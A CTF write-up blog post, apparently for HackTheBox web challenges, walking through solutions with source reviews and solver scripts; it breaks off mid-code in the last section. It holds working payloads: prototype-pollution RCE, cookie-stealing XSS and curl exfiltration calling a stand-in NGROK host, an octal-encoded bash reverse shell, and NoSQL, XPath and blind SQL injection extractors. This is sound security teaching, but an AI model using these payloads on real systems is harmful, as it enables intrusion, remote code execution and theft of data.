In time
In this section I’m going to include an explanation of how I solved the challenges while the CTF was active.
BlitzProp

We have the source code of the challenge, so went throught it, instead of actually browsing the web. When doing so found a weird code in the routes:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
const path = require('path');
const express = require('express');
const pug = require('pug');
const { unflatten } = require('flat');
const router = express.Router();
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/submit', (req, res) => {
const { song } = unflatten(req.body);
if (song.name.includes('Not Polluting with the boys') || song.name.includes('ASTa la vista baby') || song.name.includes('The Galactic Rhymes') || song.name.includes('The Goose went wild')) {
return res.json({
'response': pug.compile('span Hello #{user}, thank you for letting us know!')({ user:'guest' })
});
} else {
return res.json({
'response': 'Please provide us with the name of an existing song.'
});
}
});
|
For some reason it is using a library to get the contents of the code when he could just use const { song } = req.body
, this was the first piece of the puzzle. Libraries that just “clone” objects are well known to be commonly vulnerable to prototype pollution, together with the allowed song names which seems like a hint made it obvious.
Secondly it is using pug compile if we manage to get inside the if statement which is easy to accomplish. Mixing those together we can create an AST injection to execute remote code. Here is a post that explains the attack vector with a pretty similar vulnerable web. So just changed a little bit the POC in order to match our particular use case:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
import requests
TARGET_URL = 'http://138.68.178.56:32277'
# make pollution
requests.post(TARGET_URL + '/api/submit', json = {
"song":{
"name": "ASTa la vista baby",
},
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`wget http://NGROK:9999?$(cat flag*)`)"
}
})
# execute
requests.get(TARGET_URL)
|
From now onwards whenever I’m exfiltrating the flag through http will use NGROK, it should be replaced with the ngrok url or your own vps (same with the port)
Now we can just listen for the connection and get the flag:

Inspector Gadget

From the name and difficulty you can tell that the challenge is going to be about browsing the client side code.
Missed some of the challenges even though I knew the attack vector, just because of lack of time, here is a writeup for those challenges solved the next day, therefore didn’t count for the scoreboard.
The first part (CHTB{1nsp3ction_
) comes from index.html
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Inspector Gadget</title>
<meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no">
<link rel="icon" href="/static/images/favicon.png">
<link rel="stylesheet" href="/static/css/main.css">
</head>
<body>
<center><h1>CHTB{</h1></center>
<div id="container"></div>
</body>
<script src='https://cdnjs.cloudflare.com/ajax/libs/three.js/87/three.min.js'></script>
<script src='https://threejs.org/examples/js/controls/OrbitControls.js'></script>
<script src='https://cdnjs.cloudflare.com/ajax/libs/gsap/1.20.2/TweenMax.min.js'></script>
<script src="/static/js/main.js"></script>
<!--1nsp3ction_-->
</html>
|
}
The second part (c4n_r3ve4l_
) is inside main.css
:
1
2
3
4
5
6
7
8
9
10
|
/* c4n_r3ve4l_ */
* {
margin: 0;
padding: 0;
background-image: url('https://zultanzul.github.io/ThreeJS-Robot/skybox/sky_pos_z.jpg');
background-repeat: no-repeat;
background-size: 100%;
background-color: black;
}
...
|
Last part (us3full_1nf0rm4tion}
) can be found on main.js
:
1
2
3
4
|
console.log("us3full_1nf0rm4tion}");
window.addEventListener('resize', handleWindowResize, false);
...
|
Finally just put them all together and we have the flag:
CHTB{1nsp3ction_c4n_r3ve4l_us3full_1nf0rm4tion}
DaaS

Just from the description it seems that we need to abuse the debug feature. However before anything else here is the main page:

Checking for vulnerabilities for that version that exploit the debug mode found this article, it basically explains how you can obtain RCE from it. From the authors of the article there is also a POC exploit
First of all let’s setup the tool:
[jusepe@nix:/tmp]$ git clone https://github.com/ambionics/phpggc
Cloning into 'phpggc'...
remote: Enumerating objects: 2260, done.
remote: Counting objects: 100% (602/602), done.
remote: Compressing objects: 100% (336/336), done.
remote: Total 2260 (delta 211), reused 536 (delta 169), pack-reused 1658
Receiving objects: 100% (2260/2260), 340.73 KiB | 2.91 MiB/s, done.
Resolving deltas: 100% (853/853), done.
[jusepe@nix:/tmp]$ cd phpggc/
[jusepe@nix:/tmp/phpggc]$ wget https://raw.githubusercontent.com/ambionics/laravel-exploits/main/laravel-ignition-rce.py
--2021-04-24 07:58:31-- https://raw.githubusercontent.com/ambionics/laravel-exploits/main/laravel-ignition-rce.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4684 (4.6K) [text/plain]
Saving to: ‘laravel-ignition-rce.py’
laravel-ignition-rce.py 100%[====================================================================================>] 4.57K --.-KB/s in 0.001s
2021-04-24 07:58:31 (7.18 MB/s) - ‘laravel-ignition-rce.py’ saved [4684/4684]
Now let’s get our hands dirty and get the flag.
Messing around got that the flag is in the root directory:
[jusepe@nix:/tmp/phpggc]$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system 'ls /'
[jusepe@nix:/tmp/phpggc]$ python3 ./laravel-ignition-rce.py http://138.68.178.56:30640/ /tmp/exploit.phar
+ Log file: /www/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
bin
boot
dev
entrypoint.sh
etc
flagqbeti
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
www
--------------------------
+ Logs cleared
Now we can just go and grab it:
[jusepe@nix:/tmp/phpggc]$ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system 'cat /flag*'
[jusepe@nix:/tmp/phpggc]$ python3 ./laravel-ignition-rce.py http://138.68.178.56:30640/ /tmp/exploit.phar
+ Log file: /www/storage/logs/laravel.log
+ Logs cleared
+ Successfully converted to PHAR !
+ Phar deserialized
--------------------------
CHTB{wh3n_7h3_d3bu663r_7urn5_4641n57_7h3_d3bu6633}
--------------------------
+ Logs cleared
MiniSTRyplace

From the source code we can check the index:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
<html>
<header>
<meta name='author' content='bertolis, makelaris'>
<title>Ministry of Defence</title>
<link rel="stylesheet" href="/static/css/main.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootswatch/4.5.0/slate/bootstrap.min.css" >
</header>
<body>
<div class="language">
<a href="?lang=en.php">EN</a>
<a href="?lang=qw.php">QW</a>
</div>
<?php
$lang = ['en.php', 'qw.php'];
include('pages/' . (isset($_GET['lang']) ? str_replace('../', '', $_GET['lang']) : $lang[array_rand($lang)]));
?>
</body>
</html>
|
It is using include
which loads and evaluates the content of the given file. This function is well known to be a possible vector attack to accomplish LFI or RFI if the user can manipulate the input and is not correctly validated. In this scenario it’s using str_replace
which replaces all the occurence but just once, so we can bypass this by using ....//
so when it gets replaced it ends up being ../
.
Also from the files we know that the flag is in the root directory, so just go back a bunch of directories to get it:
[jusepe@nix:~]$ curl http://138.68.147.93:31171/?lang=....//....//....//....//flag
<html>
<header>
<meta name='author' content='bertolis, makelaris'>
<title>Ministry of Defence</title>
<link rel="stylesheet" href="/static/css/main.css">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootswatch/4.5.0/slate/bootstrap.min.css" >
</header>
<body>
<div class="language">
<a href="?lang=en.php">EN</a>
<a href="?lang=qw.php">QW</a>
</div>
CHTB{b4d_4li3n_pr0gr4m1ng}
</body>
</html>
Caas

From the name it seems that is using curl, which may be vulnerable to command injection. However let’s review the code before making any assumption.
Here are the routers and which Controller uses each of them from index.php
:
1
2
3
4
|
...
$router = new Router();
$router->new('GET', '/', 'CurlController@index');
$router->new('POST', '/api/curl', 'CurlController@execute' );
|
So let’s check what’s inside CurlController.php
:
<?php
class CurlController
{
public function index($router)
{
return $router->view('index');
}
public function execute($router)
{
$url = $_POST['ip'];
if (isset($url)) {
$command = new CommandModel($url);
return json_encode([ 'message' => $command->exec() ]);
}
}
}
It takes the ip from the body without any sanitization and passes it to the CommandModel.php
, so let’s check what it does:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<?php
class CommandModel
{
public function __construct($url)
{
$this->command = "curl -sL " . escapeshellcmd($url);
}
public function exec()
{
exec($this->command, $output);
return $output;
}
}
|
It is using escapeshellcmd
which avoids new commands appended with ;
or other special characters. However from curl manual pages we can use -F
to exfiltrate a file, so start a listener with ngrok and send the file as follows:
[jusepe@nix:~]$ curl -d 'ip=http://NGROK:9999 -F "data=@/flag"' http://138.68.178.56:30232/api/curl
On the listener we receive the flag:

Wild Goose Hunt

Reading the file the first thing that caught my attention is where the flag is located, here is the entrypoint of the docker image:
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
mkdir /tmp/mongodb
mongod --noauth --dbpath /tmp/mongodb/ &
sleep 2
mongo heros --eval "db.createCollection('users')"
mongo heros --eval 'db.users.insert( { username: "admin", password: "CHTB{f4k3_fl4g_f0r_t3st1ng}"} )'
/usr/bin/supervisord -c /etc/supervisord.conf
Moving forward checked the routes and it is using unsanitized input to query the MongoDB:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
const express = require('express');
const router = express.Router();
const User = require('../models/User');
router.get('/', (req, res) => {
return res.render('index');
});
router.post('/api/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return User.find({
username,
password
})
.then((user) => {
if (user.length == 1) {
return res.json({logged: 1, message: `Login Successful, welcome back ${user[0].username}.` });
} else {
return res.json({logged: 0, message: 'Login Failed'});
}
})
.catch(() => res.json({ message: 'Something went wrong'}));
}
return res.json({ message: 'Invalid username or password'});
});
module.exports = router;
|
Just to validate the theory tried to bypass the login:
[jusepe@nix:~]$ curl -X POST -d 'username=admin&password[$ne]=foo' http://138.68.148.149:31695/api/login
{"logged":1,"message":"Login Successful, welcome back admin."}
Once I was sure it was vulnerable then wrote a small script to get the password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
import requests
import string
def login(password):
url = "http://138.68.148.149:31695/api/login" # Change the IP and Port for the instance
data = {"username": "admin", "password[$regex]": f"{password}.*"}
return requests.post(url, data=data)
def get_flag():
charset = string.ascii_letters + string.digits + "_!}"
expected_length = len(login("CHTB{").text)
flag = "CHTB{"
incomplete = True
while incomplete:
for char in charset:
if(len(login(f"{flag}{char}").text) == expected_length):
flag += char
if(char == "}"):
return flag
break
if __name__ == "__main__":
print(get_flag())
|
Then execute the solver and pray for the flag:
[jusepe@nix:~]$ python3 solver.py
CHTB{1_th1nk_the_4l1ens_h4ve_n0t_used_m0ng0_b3f0r3}
E.Tree

The challenge doesn’t give the source code. However we are given an XML with the following format:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
<?xml version="1.0" encoding="utf-8"?>
<military>
<district id="confidential">
<staff>
...
</staff>
<staff>
...
</staff>
</district>
<district id="confidential">
<staff>
...
</staff>
<staff>
...
</staff>
<staff>
<name>confidential</name>
<age>confidential</age>
<rank>confidential</rank>
<kills>confidential</kills>
<selfDestructCode>CHTB{f4k3_fl4g</selfDestructCode>
</staff>
</district>
<district id="confidential">
<staff>
...
</staff>
<staff>
<name>confidential</name>
<age>confidential</age>
<rank>confidential</rank>
<kills>confidential</kills>
<selfDestructCode>_f0r_t3st1ng}</selfDestructCode>
</staff>
<staff>
...
</staff>
</district>
</military>
|
So searched in google for ETree and python xml parsing and found an attack vector(XPath Injection) and two possible libraries to do so in python (ElementTree and lxml)
Before going any further wanted to test if the endpoint was vulnerable to this kind of attack:

At this point wanted to know which library was using, so tried to force an error and check what happens. With that exfiltrated the route source code (thanks to debugging mode):
<div class="source "><pre class="line before"><span class="ws"></span>@app.route("/api/search", methods=["POST"])</pre>
<pre class="line before"><span class="ws"></span>def search():</pre>
<pre class="line before"><span class="ws"> </span>name = request.json.get("search", "")</pre>
<pre class="line before"><span class="ws"> </span>query = "/military/district/staff[name='{}']".format(name)</pre>
<pre class="line before"><span class="ws"></span> </pre>
<pre class="line current"><span class="ws"> </span>if tree.xpath(query):</pre>
<pre class="line after"><span class="ws"> </span>return {"success": 1, "message": "This millitary staff member exists."}</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"> </span>return {"failure": 1, "message": "This millitary staff member doesn't exist."}</pre>
<pre class="line after"><span class="ws"></span> </pre>
<pre class="line after"><span class="ws"></span>app.run("0.0.0.0", port=1337, debug=True)</pre></div>
Cleaning it up a little bit it’s something like:
1
2
3
|
query = "/military/district/staff[name='{}']".format(name)
if tree.xpath(query):
return {"success": 1,"message": "This millitary staff member exists."}
|
From both of those libraries searching for examples and tutorials, most of them that used lxml
used a similar naming convention so assumed that was the one it is using.
Now created a small script to test payloads locally in a faster way:
1
2
3
4
5
6
7
8
9
10
|
from lxml import etree
tree = etree.parse("./military.xml")
while True:
name = input(">")
query = f"/military/district/staff[name='{name}']"
if tree.xpath(query):
print("match")
else:
print("no match")
|
Since we only have a boolean based output this has to be done with a blind attack, at first struggled because both start-with
and re:
, which according to some stackoverflow post could be used for this purpose wasn’t working. Some time after thought of using contains
starting with the already known flag format, so then created a solver script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
import requests
import string
target = "http://138.68.177.159:30685/" # Change the IP and Port
def make_request(payload):
endpoint = f"{target}/api/search"
r = requests.post(endpoint,json={"search": payload})
expected_length = 72
return len(r.text) == expected_length
def get_first_half(charset):
first_half = "CHTB{"
complete = False
while not complete:
for char in charset:
result = make_request(f"' or contains(selfDestructCode,'{first_half}{char}') or name='")
if result:
first_half += char
break
if char == charset[-1] and result == False:
complete = True
return first_half
def get_second_half(charset):
second_half = "}"
complete = False
while not complete:
for char in charset:
result = make_request(f"' or contains(selfDestructCode,'{char}{second_half}') or name='")
if result:
second_half = f"{char}{second_half}"
break
if char == charset[-1] and result == False:
complete = True
return second_half
def get_flag():
charset = string.printable
first_half = get_first_half(charset)
second_half = get_second_half(charset)
return first_half + second_half
if __name__ == "__main__":
flag = get_flag()
print(flag)
|
Here is the output:
[jusepe@nix:~]$ python3 solver.py
CHTB{Th3_3xTr4_l3v3l_4Cc3s$_c0nTr0l}
The Galactic Times

The flag of this challenge was inside alien.html
which from the route source code could only be accesible from localhost:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
|
const bot = require('../bot');
const fs = require('fs');
let db;
async function router (fastify, options) {
fastify.get('/', async (request, reply) => {
return reply.type('text/html').send(fs.readFileSync('views/index.html',{encoding:'utf8', flag:'r'}));
});
fastify.get('/alien', async (request, reply) => {
if (request.ip != '127.0.0.1') {
return reply.code(401).send({ message: 'Only localhost is allowed'});
}
return reply.type('text/html').send(fs.readFileSync('views/alien.html',{encoding:'utf8', flag:'r'}));
});
fastify.get('/feedback', async (request, reply) => {
return reply.type('text/html').send(fs.readFileSync('views/feedback.html',{encoding:'utf8', flag:'r'}));
});
fastify.post('/api/submit', async (request, reply) => {
let { feedback } = request.body;
if (feedback) {
return db.addFeedback(feedback)
.then(() => {
bot.purgeData(db);
reply.send({ message: 'The Galactic Federation has processed your feedback.' });
})
.catch(() => reply.send({ message: 'The Galactic Federation spaceship controller has crashed.', error: 1}));
}
return reply.send({ message: 'Missing parameters.', error: 1 });
});
fastify.get('/list', async (request, reply) => {
if (request.ip != '127.0.0.1') {
return reply.code(401).send({ message: 'Only localhost is allowed'});
}
return await db.getFeedback()
.then(feedback => {
if (feedback) {
return reply.view('views/list.pug', { feedback: feedback });
}
return reply.send({ message: 'The Galactic Federation archives appear to be empty.' });
})
.catch(() => {
return reply.send({ message: 'The Galactic Federation spaceship controller has crashed.' });
});
});
}
module.exports = database => {
db = database;
return router;
};
|
Luckily for us there is a bot that visits all we post to /api/submit
, here is the source code of the bot:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
const puppeteer = require('puppeteer');
const browser_options = {
headless: true,
args: [
'--no-sandbox',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update'
]
};
async function purgeData(db){
const browser = await puppeteer.launch(browser_options);
const page = await browser.newPage();
await page.goto('http://127.0.0.1:1337/list', {
waitUntil: 'networkidle2'
});
await browser.close();
await db.migrate();
};
module.exports = { purgeData };
|
The database method db.migrate()
just regenerates with it’s initial state the tables
At this point thought that I needed to exploit an STTI with pug again, after some time trying payloads made a little research and found this post that explains pug interpolation, then checked the pug template:
1
2
3
4
5
|
<tr>
<th scope="row">!{feedback[i].id}</th>
<td>!{feedback[i].comment}</td>
<td>!{feedback[i].created_at}</td>
</tr>
|
It’s using !{...}
so it doesn’t evaluates. At this point the other possibility was to find a XSS and make the bot return us the flag from /alien
. However after trying some payloads realised that they were violating CSP policy.
Here is from index.js
what are the policies:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
fastify.register(require('fastify-helmet'), {
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'unsafe-eval'", "https://cdnjs.cloudflare.com/"],
styleSrc: ["'self'", "'unsafe-inline'", "https://unpkg.com/nes.css/", "https://fonts.googleapis.com/"],
fontSrc: ["'self'", "https://fonts.gstatic.com/"],
imgSrc: ["'self'", "data:"],
childSrc: ["'none'"],
objectSrc: ["'none'"]
}
},
});
|
Firstly thought that it could be easily bypassed with an image and a base64 xss payload like this one <img src="data:text/html;base64,PHNjcmlwdD5hbGVydCh3aW5kb3cubG9jYXRpb24pPC9zY3JpcHQ+">
. There was no error on CSP. However didn’t pop any alert box.
Keep searching on how to bypass CSP and found a couple of posts like this one that uses cloudfare and other CDNs to bypass it, but the payloads didn’t work for me until I tried the one from this post.
This is my flag grabber:
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('var x = new XMLHttpRequest();x.open(\'GET\',\'/alien\',false);x.send();window.location = \'http://NGROK:9999/?\' + btoa(unescape(encodeURIComponent(x.responseText)));')()}}
</div>
Once we get the content in the listener, we can decode it to get the flag:

Cessation

We are given a config file with the following:
regex_map http://.*/shutdown http://127.0.0.1/403
regex_map http://.*/ http://127.0.0.1/
It seems like we need to accesss the /shutdown
endpoint. This was relatively easy just added another /
to bypass the regex:
[jusepe@nix:~]$ curl -silent http://138.68.177.159:30888//shutdown | grep CHTB
<h2>Initiating Network Shutdown...<br/>Device Status: Offline<br/>CHTB{c3ss4t10n_n33d_sync1ng_#@$?}</h2>
pcalc

In this challenge we have a single route as we can see in index.php
:
1
2
|
$router = new Router();
$router->new('GET', '/', 'CalcController@index');
|
Let’s have a look at CalcController.php
:
1
2
3
4
5
6
7
8
9
10
|
<?php
class CalcController
{
public function index($router)
{
$formula = isset($_GET['formula']) ? $_GET['formula'] : '100*10-3+340';
$calc = new CalcModel();
return $router->view('index', ['res' => $calc->getCalc($formula)]);
}
}
|
As expected it’s creating an instance of CalcModel
here is the source code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<?php
class CalcModel
{
public static function getCalc($formula)
{
if (strlen($formula) >= 100 || preg_match_all('/[a-z\'"]+/i', $formula)) {
return '🤡 dont bite the hand that feeds you human 🤡';
}
try {
eval('$pcalc = ' . $formula . ';');
return isset($pcalc) ? $pcalc : '?';
}
catch (ParseError $err) {
return '🚨 report to the nearest galactic federation agency 🚨';
}
}
}
|
It seems like another eval bypass challenge. We can’t use letters or any of these characters '"[]
. At first tried to use octal from this post. However wasn’t working because I couldn’t use quotes.After some struggling (and a small nudge :D ), realised that could use backticks. They are special characters and are essentially the same as shell_exec
. Together with the original octal bypass idea we could execute commands. Therefore we couldn’t get the output of the command, neither the docker image had curl
or wget
.
At first tried to create a reverse shell which should easier than encoding more than one command to get the flag. After trying to save space (because of the 100 char size limit) my reverse shell payload ended up
being 103 characters long:
`\142\141\163\150 -\143 \42\142\141\163\150 -\151 >& /\144\145\166/\164\143\160/MYVPS/8 0>&1\42`
Tried to executed it from php interactive shell and worked, nice I was close.
Then tried to create two payloads to create a reverse shell script inside the filesystem of the docker and then calling it. Not sure why but this didn’t work, when called from the browser the reverse shell didn’t respond and got frozen together with the instance.
Some time after came up with a much smaller and simpler payload to get the flag:
`\143\160 /\146\52 ./\146`
After reading post CTF solutions from the discord some people used bash autocompletion and used ???/?????????
as the payload, found it interesting to have a look so here it is.
Now we can just curl the flag
[jusepe@nix:~]$ curl http://138.68.148.149:31381/f
CHTB{I_d0nt_n33d_puny_hum4n_l3tt3rs_t0_pwn!}
emoji voting

When reviewing the code the attack vector was easy to spot, all the interesting stuff is in the file database.js
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
const sqlite = require('sqlite-async');
const crypto = require('crypto');
class Database {
constructor(db_file) {
this.db_file = db_file;
this.db = undefined;
}
async connect() {
this.db = await sqlite.open(this.db_file);
}
async migrate() {
let rand = crypto.randomBytes(5).toString('hex');
return this.db.exec(`
DROP TABLE IF EXISTS emojis;
DROP TABLE IF EXISTS flag_${ rand };
CREATE TABLE IF NOT EXISTS flag_${ rand } (
flag TEXT NOT NULL
);
INSERT INTO flag_${ rand } (flag) VALUES ('CHTB{f4k3_fl4g_f0r_t3st1ng}');
CREATE TABLE IF NOT EXISTS emojis (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
emoji VARCHAR(255),
name VARCHAR(255),
count INTEGERT
);
INSERT INTO emojis (emoji, name, count) VALUES
('👽', 'alien', 13),
('🛸', 'flying saucer', 3),
('👾', 'alien monster', 0),
('💩', '👇 = human', 118),
('🚽', '👇 = human', 19),
('🪠', '👇 = human', 2),
('🍆', 'eggplant', 69),
('🍑', 'peach', 40),
('🍌', 'banana', 21),
('🐶', 'dog', 80),
('🐷', 'pig', 37),
('👨', 'homo idiotus', 124)
`);
}
async vote(id) {
return new Promise(async (resolve, reject) => {
try {
let query = 'UPDATE emojis SET count = count + 1 WHERE id = ?';
resolve(await this.db.run(query, [id]));
} catch(e) {
reject(e);
}
});
}
async getEmojis(order) {
// TOOD: add parametrization
return new Promise(async (resolve, reject) => {
try {
let query = `SELECT * FROM emojis ORDER BY ${ order }`;
resolve(await this.db.all(query));
} catch(e) {
reject(e);
}
});
}
}
module.exports = Database;
|
The method getEmojis
is vulnerable to SQL Injection (also has a comment that highlights it), so created a small script that gets the flag based on time responses:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
#!/usr/bin/python3
import requests
import string
#target = "localhost:1337"
target = "178.62.93.166:32500"
max_resp_time = 0.5
def make_req(payload):
r = requests.post(f"http://{target}/api/list",data={"order":payload})
return r
def get_table_name():
charset = "0123456789abcdef"
flag_table = "flag_"
for i in range(10):
for char in charset:
r = make_req(f"(SELECT 1 FROM sqlite_master WHERE type='table' AND name like '{flag_table}{char}%' AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) )")
time = r.elapsed.total_seconds()
if time > max_resp_time:
flag_table += char
return flag_table
def get_flag(flag_table):
flag = "CHTB{"
incomplete = True
charset = string.digits +string.ascii_lowercase + string.ascii_uppercase + "!}_"
while incomplete:
for char in charset:
r = make_req(f"(SELECT 1 FROM {flag_table} WHERE flag like '{flag}{char}%' AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000/2)))) )")
time = r.elapsed.total_seconds()
if time > max_resp_time:
flag += char
if char == "}":
incomplete = False
break
return flag
if __name__ == "__main__":
flag_table = get_table_name()
flag = get_flag(flag_table)
print(flag)
|
The solver was working perfectly on my local instance. However when I used on the remote instance broke it, after speaking with the creator of the challenge we’ve come to the conclusion that it occurs because of resource limitations, such heavy queries breaks the instance.
Then created a second version of the solver:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
#!/usr/bin/python3
import requests
import string
target = "206.189.121.131:32213"
max_resp_time = 0.5
def make_req(payload):
r = requests.post(f"http://{target}/api/list",data={"order":payload})
return r
def get_table_name():
charset = "0123456789abcdef"
flag_table = "flag_"
for i in range(10):
for char in charset:
r = make_req(f"coalesce((select name FROM sqlite_master WHERE type='table' AND name NOT LIKE '{flag_table}{char}%' AND name NOT LIKE 'sqlite%' AND name NOT LIKE 'emo%'),RANDOMBLOB(9999999))")
time = r.elapsed.total_seconds()
if time > max_resp_time:
flag_table += char
return flag_table
def get_flag(flag_table):
flag = "CHTB{"
incomplete = True
charset = string.digits +string.ascii_lowercase + string.ascii_uppercase + "!}_"
while incomplete:
for char in charset:
r = make_req(f"coalesce((SELECT flag FROM {flag_table} WHERE flag NOT LIKE '{flag}{char}%'),RANDOMBLOB(9999999))")
time = r.elapsed.total_seconds()
if time > max_resp_time:
flag += char
if char == "}":
incomplete = False
break
return flag
if __name__ == "__main__":
flag_table = get_table_name()
flag = get_flag(flag_table)
print(flag)
|

This challenge is similar to “The Galactic Times”, in this case the flag are carried by the bot there are some code changes and also does the CSP.
However now there is no Pug template, instead there is a file named list.js
with the following content:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
const display = feedback => {
document.getElementsByTagName('tbody')[0].innerHTML = '';
for(let complaint of feedback) {
let template = `
<tr>
<th scope="row">${complaint.id}</th>
<td>${complaint.complaint}</td>
<td>${complaint.species}</td>
<td>${complaint.created_at}</td>
</tr>
`;
document.getElementsByTagName('tbody')[0].innerHTML += template;
}
};
const jsonp = (url, callback) => {
const s = document.createElement('script');
if (callback) {
s.src = `${url}?callback=${callback}`;
} else {
s.src = url;
}
document.body.appendChild(s);
};
jsonp('/api/jsonp', (new URLSearchParams(location.search)).get('callback'));
|
So it passes the callback parameter back to /api/jsonp
, let’s see what it does:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
fastify.get('/api/jsonp', async (request, reply) => {
let callback = request.query.callback || 'display';
reply.header('Content-Type', 'application/javascript');
let feedback = await db.getFeedback()
.then(feedback => {
if (feedback) {
return feedback;
}
return 'The Galactic Federation archives appear to be empty.';
})
.catch(() => {
return 'The Galactic Federation spaceship controller has crashed.';
});
reply.send(`${callback}(${JSON.stringify(feedback)})`);
});
|
This caught my attention because of the Content-Type, modified the local instance so I could access the list without being from localhost, and changing the callback I was able to create an XSS:

The next step was to inject the xss in the list using the form, after trying some different tags, <iframe>
worked. It was time to get the cookies with the following payload:
1
|
<iframe src="http://127.0.0.1:1337/list?callback=window.location.href%3D`http://NGROK:9999?${btoa(unescape(encodeURIComponent(document.cookie)))}`;display"></iframe>
|
Note: It’s important to make a reference to 127.0.0.1 instead of localhost, because cookies are set there, otherwise won’t work.
Unexpectedly when I tried it out I got an error in console that it was violating CSP, but why?

This made no sense to me, so tried to change the window location manually through the console and worked. So searched for a way to access the parent location from the iframe, luckily there was this post covering the topic.
Made a little change on the payload and hope for the best:
1
|
<iframe src="http://127.0.0.1:1337/list?callback=window.parent.location.href%3D`http://NGROK:9999?${btoa(unescape(encodeURIComponent(document.cookie)))}`;display"></iframe>
|
As always we just wait to receive the flag:

Starfleet

Here are the available endpoints:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
const path = require('path');
const express = require('express');
const nunjucks = require('nunjucks');
const router = express.Router();
const EmailHelper = require('../helpers/EmailHelper');
router.get('/', (req, res) => {
return res.sendFile(path.resolve('views/index.html'));
});
router.post('/api/enroll', (req, res) => {
const { email } = req.body;
if (email) {
return EmailHelper.sendEmail(email)
.then(data => {
return res.send(data);
})
.catch(err => {
return res.send(err)
});
}
return res.json({
response: 'Missing parameters or invalid email address',
error: 1
});
});
module.exports = router;
|
Additionally there is a not so common template engine (nunjucks), but let’s check what does the EmailHelper
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
async sendEmail(emailAddress) {
return new Promise(async (resolve, reject) => {
try {
let message = {
to: emailAddress,
subject: 'Enrollment is now under review ✅',
};
if (process.env.NODE_ENV === 'production' ) {
let gifSrc = 'minimakelaris@hackthebox.eu';
message.html = nunjucks.renderString(`
<p><b>Hello</b> <i>${ emailAddress }</i></p>
<p>A cat has been deployed to process your submission 🐈</p><br/>
<img width="500" height="350" src="cid:{{ gifSrc }}"/></p>
`, { gifSrc }
);
message.attachments = [
{
filename: 'minimakelaris.gif',
path: __dirname + '/../assets/minimakelaris.gif',
cid: gifSrc
}
];
let transporter = nodemailer.createTransport({
host: 'smtp.gmail.com',
port: 465,
secure: true,
auth: {
